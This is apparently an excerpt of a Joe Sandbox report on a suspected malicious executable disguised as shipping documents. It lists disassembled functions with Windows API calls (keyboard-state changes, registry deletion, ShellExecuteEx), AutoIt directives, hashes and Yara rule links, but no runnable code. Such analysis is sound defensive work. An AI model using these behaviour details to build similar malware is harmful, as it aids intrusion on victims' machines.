                                                • Instruction ID: 34e316e483c51067e03dd215fea74ad054ca202cd2d0a446bc70612b632ab0b6
                                                • Opcode Fuzzy Hash: 6a526ca20786b0332f87ca71a308c4de39b59474c98a3b198bcc74b9f4ce0393
                                                • Instruction Fuzzy Hash: 8071CC71504200ABC710EF64DC95F6BBBA9EF89714F144A1DF95A9B2D1EB30D908CBB2
                                                Function 00D2A979 Relevance: 12.1, APIs: 8, Instructions: 118COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • __mtinitlocknum.LIBCMT ref: 00D2A991
                                                  • Part of subcall function 00D27D7C: __FF_MSGBANNER.LIBCMT ref: 00D27D91
                                                  • Part of subcall function 00D27D7C: __NMSG_WRITE.LIBCMT ref: 00D27D98
                                                  • Part of subcall function 00D27D7C: __malloc_crt.LIBCMT ref: 00D27DB8
                                                • __lock.LIBCMT ref: 00D2A9A4
                                                • __lock.LIBCMT ref: 00D2A9F0
                                                • InitializeCriticalSectionAndSpinCount.KERNEL32(8000000C,00000FA0,00DB6DE0,00000018,00D35E7B,?,00000000,00000109), ref: 00D2AA0C
                                                • EnterCriticalSection.KERNEL32(8000000C,00DB6DE0,00000018,00D35E7B,?,00000000,00000109), ref: 00D2AA29
                                                • LeaveCriticalSection.KERNEL32(8000000C), ref: 00D2AA39
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CriticalSection$__lock$CountEnterInitializeLeaveSpin__malloc_crt__mtinitlocknum
                                                • String ID:
                                                • API String ID: 1422805418-0
                                                • Opcode ID: 07d7b6b879519505ae4e3a585a0a3cea77886f1ca9412639c329d05e7a8a1e4f
                                                • Instruction ID: b85bfb315847ebb8949d3ab90dc65c0afc27233eef1b744fb3b2f61c8de91cbc
                                                • Opcode Fuzzy Hash: 07d7b6b879519505ae4e3a585a0a3cea77886f1ca9412639c329d05e7a8a1e4f
                                                • Instruction Fuzzy Hash: 764107719003269BEB149F6CEA4575CBBB0EF2132DF188219E425EB2D1DB749940CFB2
                                                Function 00D68ECC Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • DeleteObject.GDI32(00000000), ref: 00D68EE4
                                                • GetDC.USER32(00000000), ref: 00D68EEC
                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00D68EF7
                                                • ReleaseDC.USER32(00000000,00000000), ref: 00D68F03
                                                • CreateFontW.GDI32(?,00000000,00000000,00000000,00000000,?,?,?,00000001,00000004,00000000,?,00000000,?), ref: 00D68F3F
                                                • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00D68F50
                                                • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00D6BD19,?,?,000000FF,00000000,?,000000FF,?), ref: 00D68F8A
                                                • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00D68FAA
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                • String ID:
                                                • API String ID: 3864802216-0
                                                • Opcode ID: d50ae4f97b42459cb5ed8cf35963024a44ec73508fbb573e9106f1dea267a723
                                                • Instruction ID: 5428cd304538c1b286a1df806a7e343aef158b0a3fd20d6dd05eddfa221965d3
                                                • Opcode Fuzzy Hash: d50ae4f97b42459cb5ed8cf35963024a44ec73508fbb573e9106f1dea267a723
                                                • Instruction Fuzzy Hash: 2C314D72210218BFEB118F50CC4AFEA3BAAEF49755F084165FE09DA2D1D6B59841CB74
                                                Function 00D516DA Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 309COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D0936C: __swprintf.LIBCMT ref: 00D093AB
                                                  • Part of subcall function 00D0936C: __itow.LIBCMT ref: 00D093DF
                                                  • Part of subcall function 00D1C6F4: _wcscpy.LIBCMT ref: 00D1C717
                                                • _wcstok.LIBCMT ref: 00D5184E
                                                • _wcscpy.LIBCMT ref: 00D518DD
                                                • _memset.LIBCMT ref: 00D51910
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _wcscpy$__itow__swprintf_memset_wcstok
                                                • String ID: X
                                                • API String ID: 774024439-3081909835
                                                • Opcode ID: ae48685afb72af2e9f027d11ac10281b1190777d9eae8a6016a8d462ebb4e484
                                                • Instruction ID: 64dc4bb3621fdb41c6871b9098b9a62fd20129f0998b242762316a34fee3feaa
                                                • Opcode Fuzzy Hash: ae48685afb72af2e9f027d11ac10281b1190777d9eae8a6016a8d462ebb4e484
                                                • Instruction Fuzzy Hash: 16C15B755043409FC724EF64C891BAAB7E4EF85351F04496DF89A972A2DB30ED09CBB2
                                                Function 00D70133 Relevance: 10.7, APIs: 7, Instructions: 245windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1B34E: GetWindowLongW.USER32(?,000000EB), ref: 00D1B35F
                                                • GetSystemMetrics.USER32(0000000F), ref: 00D7016D
                                                • MoveWindow.USER32(00000003,?,00000000,00000001,00000000,00000000,?,?,?), ref: 00D7038D
                                                • SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00D703AB
                                                • InvalidateRect.USER32(?,00000000,00000001,?), ref: 00D703D6
                                                • SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00D703FF
                                                • ShowWindow.USER32(00000003,00000000), ref: 00D70421
                                                • DefDlgProcW.USER32(?,00000005,?,?), ref: 00D70440
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$MessageSend$InvalidateLongMetricsMoveProcRectShowSystem
                                                • String ID:
                                                • API String ID: 3356174886-0
                                                • Opcode ID: 4e71235b2bd46777ecbc53b97c85a10ce6f3397f97d5c182d0afd6aac44d5df4
                                                • Instruction ID: ad7ed4aff743b04b92d50499021b737d309de388cf7c3e515b2be7f9a44a33c2
                                                • Opcode Fuzzy Hash: 4e71235b2bd46777ecbc53b97c85a10ce6f3397f97d5c182d0afd6aac44d5df4
                                                • Instruction Fuzzy Hash: 0CA18E35600616EBDB18CF68C985BBDBBB2BF08705F18C115EC59AB2D1E774AD50CBA0
                                                Function 00D1AE78 Relevance: 10.7, APIs: 7, Instructions: 218COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 18f2739243ef547c6c7897cf452b67662725d464acd26164bc6121e25c4fadbd
                                                • Instruction ID: e78b4e9a461111b425f80d82a527b1108b520252bb70f0eb14d3602d163d123d
                                                • Opcode Fuzzy Hash: 18f2739243ef547c6c7897cf452b67662725d464acd26164bc6121e25c4fadbd
                                                • Instruction Fuzzy Hash: 21714CB1901109FFCB14CF98DC49AEEBB75FF89314F148149F915AA291DB309A42CB75
                                                Function 00D62230 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 191COMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00D6225A
                                                • _memset.LIBCMT ref: 00D62323
                                                • ShellExecuteExW.SHELL32(?), ref: 00D62368
                                                  • Part of subcall function 00D0936C: __swprintf.LIBCMT ref: 00D093AB
                                                  • Part of subcall function 00D0936C: __itow.LIBCMT ref: 00D093DF
                                                  • Part of subcall function 00D1C6F4: _wcscpy.LIBCMT ref: 00D1C717
                                                • CloseHandle.KERNEL32(00000000), ref: 00D6242F
                                                • FreeLibrary.KERNEL32(00000000), ref: 00D6243E
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _memset$CloseExecuteFreeHandleLibraryShell__itow__swprintf_wcscpy
                                                • String ID: @
                                                • API String ID: 4082843840-2766056989
                                                • Opcode ID: cd8d81ffc4a5cd9def0d421c326e99d64d8395afccd20c1429029cbbdb0e16ef
                                                • Instruction ID: a384419e659f034351d83622625d80daf13a51554bbb16855c1765943f24172c
                                                • Opcode Fuzzy Hash: cd8d81ffc4a5cd9def0d421c326e99d64d8395afccd20c1429029cbbdb0e16ef
                                                • Instruction Fuzzy Hash: AD715E74A006199FCF04EFA4D895AAEBBF5FF48310F148459E859AB391CB34AD40CBB4
                                                Function 00D43DA8 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetParent.USER32(?), ref: 00D43DE7
                                                • GetKeyboardState.USER32(?), ref: 00D43DFC
                                                • SetKeyboardState.USER32(?), ref: 00D43E5D
                                                • PostMessageW.USER32(?,00000101,00000010,?), ref: 00D43E8B
                                                • PostMessageW.USER32(?,00000101,00000011,?), ref: 00D43EAA
                                                • PostMessageW.USER32(?,00000101,00000012,?), ref: 00D43EF0
                                                • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00D43F13
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessagePost$KeyboardState$Parent
                                                • String ID:
                                                • API String ID: 87235514-0
                                                • Opcode ID: 0c631ef7fbb94012d57478ea53e803abadec482e11d128666a8cda0772ecec56
                                                • Instruction ID: f19b5b22600b6184aa0dd400d70b972d0696178d3e87d3a55c311d6b16515c47
                                                • Opcode Fuzzy Hash: 0c631ef7fbb94012d57478ea53e803abadec482e11d128666a8cda0772ecec56
                                                • Instruction Fuzzy Hash: 1C519FA0A147D53FFB364628C845BBA7EA95F06304F0C8599F0D5968C2D3A9EEC8D770
                                                Function 00D43BC3 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetParent.USER32(00000000), ref: 00D43C02
                                                • GetKeyboardState.USER32(?), ref: 00D43C17
                                                • SetKeyboardState.USER32(?), ref: 00D43C78
                                                • PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00D43CA4
                                                • PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00D43CC1
                                                • PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00D43D05
                                                • PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00D43D26
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessagePost$KeyboardState$Parent
                                                • String ID:
                                                • API String ID: 87235514-0
                                                • Opcode ID: 9772e0069bf95baea552903d25012b2eb460b78f3ceb87d932aabaa560ed3565
                                                • Instruction ID: 3009a24c61f8ee89502dab4f55d50c6ae8b3c606dead352c2ee05a5c0c1d5aad
                                                • Opcode Fuzzy Hash: 9772e0069bf95baea552903d25012b2eb460b78f3ceb87d932aabaa560ed3565
                                                • Instruction Fuzzy Hash: 6451D4A09047D53FFB368728CC56B7ABFA9AB06304F0C8489E0D5968C2D794EE94D770
                                                Function 00D47DB1 Relevance: 10.6, APIs: 7, Instructions: 137timeCOMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _wcsncpy$LocalTime
                                                • String ID:
                                                • API String ID: 2945705084-0
                                                • Opcode ID: 39627c00b2083091368a5aa548d19a19c97e8c05176055686b0ca8ec9500dd6e
                                                • Instruction ID: 59ebd5d9cf20bcf930d54efc709284736f4ebc26b6cb79330d7424fc620d42b9
                                                • Opcode Fuzzy Hash: 39627c00b2083091368a5aa548d19a19c97e8c05176055686b0ca8ec9500dd6e
                                                • Instruction Fuzzy Hash: D9415B66C10224B6CB10EBF4D84A9CFB7ACEF25314F5489A6F518E3122EA35E61483F5
                                                Function 00D63D72 Relevance: 10.6, APIs: 7, Instructions: 100registryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?), ref: 00D63DA1
                                                • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00D63DCB
                                                • FreeLibrary.KERNEL32(00000000), ref: 00D63E80
                                                  • Part of subcall function 00D63D72: RegCloseKey.ADVAPI32(?), ref: 00D63DE8
                                                  • Part of subcall function 00D63D72: FreeLibrary.KERNEL32(?), ref: 00D63E3A
                                                  • Part of subcall function 00D63D72: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00D63E5D
                                                • RegDeleteKeyW.ADVAPI32(?,?), ref: 00D63E25
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: EnumFreeLibrary$CloseDeleteOpen
                                                • String ID:
                                                • API String ID: 395352322-0
                                                • Opcode ID: 8570af542ac705d2b375f0e92165948a5843571b958da6c6e3744dad80e02652
                                                • Instruction ID: 6c825d3d30d3334bcadf2e1085d2d185044fd351ac8c8ac59542d2980f7270ec
                                                • Opcode Fuzzy Hash: 8570af542ac705d2b375f0e92165948a5843571b958da6c6e3744dad80e02652
                                                • Instruction Fuzzy Hash: 3431F9B1911209BFDB159B94DC89AFFB7BDEF08300F14026AB512E2191D6719F499BB0
                                                Function 00D68FC8 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00D68FE7
                                                • GetWindowLongW.USER32(0173F390,000000F0), ref: 00D6901A
                                                • GetWindowLongW.USER32(0173F390,000000F0), ref: 00D6904F
                                                • SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00D69081
                                                • SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 00D690AB
                                                • GetWindowLongW.USER32(00000000,000000F0), ref: 00D690BC
                                                • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00D690D6
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: LongWindow$MessageSend
                                                • String ID:
                                                • API String ID: 2178440468-0
                                                • Opcode ID: ec7128087ca28ce65f982393712db71218dd8a46c06f394719fbb35bf7b77135
                                                • Instruction ID: 5d42496409ee37460ddead47c3d92780d318b847031c367c6d8bc458a68b4e98
                                                • Opcode Fuzzy Hash: ec7128087ca28ce65f982393712db71218dd8a46c06f394719fbb35bf7b77135
                                                • Instruction Fuzzy Hash: 9531577864021AEFDB20CF58DC95F6477AAFB4A714F180264F519CB2F2CB71A841DB60
                                                Function 00D408AF Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00D408F2
                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00D40918
                                                • SysAllocString.OLEAUT32(00000000), ref: 00D4091B
                                                • SysAllocString.OLEAUT32(?), ref: 00D40939
                                                • SysFreeString.OLEAUT32(?), ref: 00D40942
                                                • StringFromGUID2.OLE32(?,?,00000028), ref: 00D40967
                                                • SysAllocString.OLEAUT32(?), ref: 00D40975
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                • String ID:
                                                • API String ID: 3761583154-0
                                                • Opcode ID: c752320a197839fc6e3de39651832bb9a16fad3c666ee846f6ed7204788012be
                                                • Instruction ID: 83ea91bb2d55665192f1ee8a496e85bd1f725402b7746632dba17f5a0d72902c
                                                • Opcode Fuzzy Hash: c752320a197839fc6e3de39651832bb9a16fad3c666ee846f6ed7204788012be
                                                • Instruction Fuzzy Hash: 25219A76601219AFDF10AFB8DC84DAB77ACEF09360B088125FA55DB295D670DC45CB70
                                                Function 00D42472 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __wcsnicmp
                                                • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                • API String ID: 1038674560-2734436370
                                                • Opcode ID: 262655bc62cf1ec3773ad51f3b5223615b55da3206d69c17ac2fbb03d0518832
                                                • Instruction ID: b2f36683e81c452b648b273a36e2329790873d7fde71041d7a455ad9026615b5
                                                • Opcode Fuzzy Hash: 262655bc62cf1ec3773ad51f3b5223615b55da3206d69c17ac2fbb03d0518832
                                                • Instruction Fuzzy Hash: 13212C7114421177D730A734EC12FBBB399EF75314F948025F48997182EA65DD81C3B5
                                                Function 00D40986 Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00D409CB
                                                • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00D409F1
                                                • SysAllocString.OLEAUT32(00000000), ref: 00D409F4
                                                • SysAllocString.OLEAUT32 ref: 00D40A15
                                                • SysFreeString.OLEAUT32 ref: 00D40A1E
                                                • StringFromGUID2.OLE32(?,?,00000028), ref: 00D40A38
                                                • SysAllocString.OLEAUT32(?), ref: 00D40A46
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                • String ID:
                                                • API String ID: 3761583154-0
                                                • Opcode ID: f89f24bd7c92b676f4c52214808fac8dcaa05a7f8f3d677cf4f5cc3a1cb1d06a
                                                • Instruction ID: 367960cc6bd0bf59fe349ffb01d974e780f4d0c5c6e7d370a98caefc5ebc7828
                                                • Opcode Fuzzy Hash: f89f24bd7c92b676f4c52214808fac8dcaa05a7f8f3d677cf4f5cc3a1cb1d06a
                                                • Instruction Fuzzy Hash: E3217175210304AFDB10AFBCDC89DAA77EDEF083607048125FA49DB2A5EA70EC418B74
                                                Function 00D6A2C8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D1D17C: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00D1D1BA
                                                  • Part of subcall function 00D1D17C: GetStockObject.GDI32(00000011), ref: 00D1D1CE
                                                  • Part of subcall function 00D1D17C: SendMessageW.USER32(00000000,00000030,00000000), ref: 00D1D1D8
                                                • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00D6A32D
                                                • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00D6A33A
                                                • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00D6A345
                                                • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00D6A354
                                                • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00D6A360
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
